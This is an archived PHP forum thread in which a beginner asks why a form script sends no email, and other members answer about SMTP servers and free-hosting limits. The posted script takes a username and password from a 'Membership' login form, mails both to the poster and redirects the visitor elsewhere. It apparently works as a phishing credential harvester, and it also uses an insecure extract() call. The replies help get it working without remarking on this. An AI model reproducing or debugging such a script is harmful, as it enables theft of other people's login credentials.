Jump to content

Archived

This topic is now archived and is closed to further replies.

shisamandisa

Simple PHP script but im a noob and i need help thanx!

Recommended Posts

I have a pretty simple php script along with form and i was wondering if i was doing anything wrong because no information is being sent to my email. So can anyone revise this for errors and tell me what im doing wrong thanx!  ;)

heres the .php
[code]<?php
@extract($_POST);
$username=$_POST["username"];
$password=$_POST["password"];
mail("email@email.com", $username, $password, "From: $username");
header("Location: http://anyredirectsite.com");
?>
[/code]

here is the form
[code]<form name="contact.php" method='POST' action="http://something.com/contact.php">

<br><br><div style="text-align:center"><table><tr><td align="center">username:</td><td

align="center"><input size="20" type="text" name="username" maxlength="12"></td></tr><tr><td

align="center">password:</td><td align="center"><input size="20" type="password" name="password"

maxlength="20"></td></tr><tr><td></td><td align="center"><input type="submit" value="Membership"

style="background:#4D422E url('http://stylebutton.com/style.gif'); color: white;"

class="b"></td></tr></table></form>[/code]

Thanks for anyhelp!

Share this post


Link to post
Share on other sites
Do you have php set up to work with a mail server?

If not the mail function is useless.

Share this post


Link to post
Share on other sites
Ok, here we go...

Lets say php is our e-mail client for sending e-mail, much like Outlook Express or something like that. The client sends the e-mail to a smtp server, which in turn sends the e-mail to the desired e-mail address. To send e-mail with php you need to set up an smtp server on your computer.

Just search google, pick one and download/install it, then configure it, and then edit the mail function in php.ini to match it

Share this post


Link to post
Share on other sites
i use a gmail account not outlook or anything would i need to edit some configurations on gmail or could i use a yahoo account or something?

Share this post


Link to post
Share on other sites
Are you running this on your own "local" machine or is this on a web hosting server? if its on your local machine then you probably don't have an smtp server set up.

Share this post


Link to post
Share on other sites
i have hosted contact.php on a web hoster on freehostia.com

It says this

SMTP (outgoing mail server) : serv3.freehostia.com
SMTP Port : 25

Share this post


Link to post
Share on other sites
[quote author=shisamandisa link=topic=100744.msg398000#msg398000 date=1153019129]
i have hosted contact.php on a web hoster on freehostia.com
[/quote]

if they offer email with your domain name then you probably do have it set up but you should check with them first to make sure

run phpinfo and see what "sendmail_path" this reads

Share this post


Link to post
Share on other sites
also the php code i typed what version php is that... because couldnt i just find a free web host that accepts that version because free hostia accepts PHP Version 4.4.0 and maybe this version is different

Share this post


Link to post
Share on other sites
I just checked with freehostia.com and they do not support smtp with the free hosting plan, you'll have to upgrade to their value plan

Share this post


Link to post
Share on other sites

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.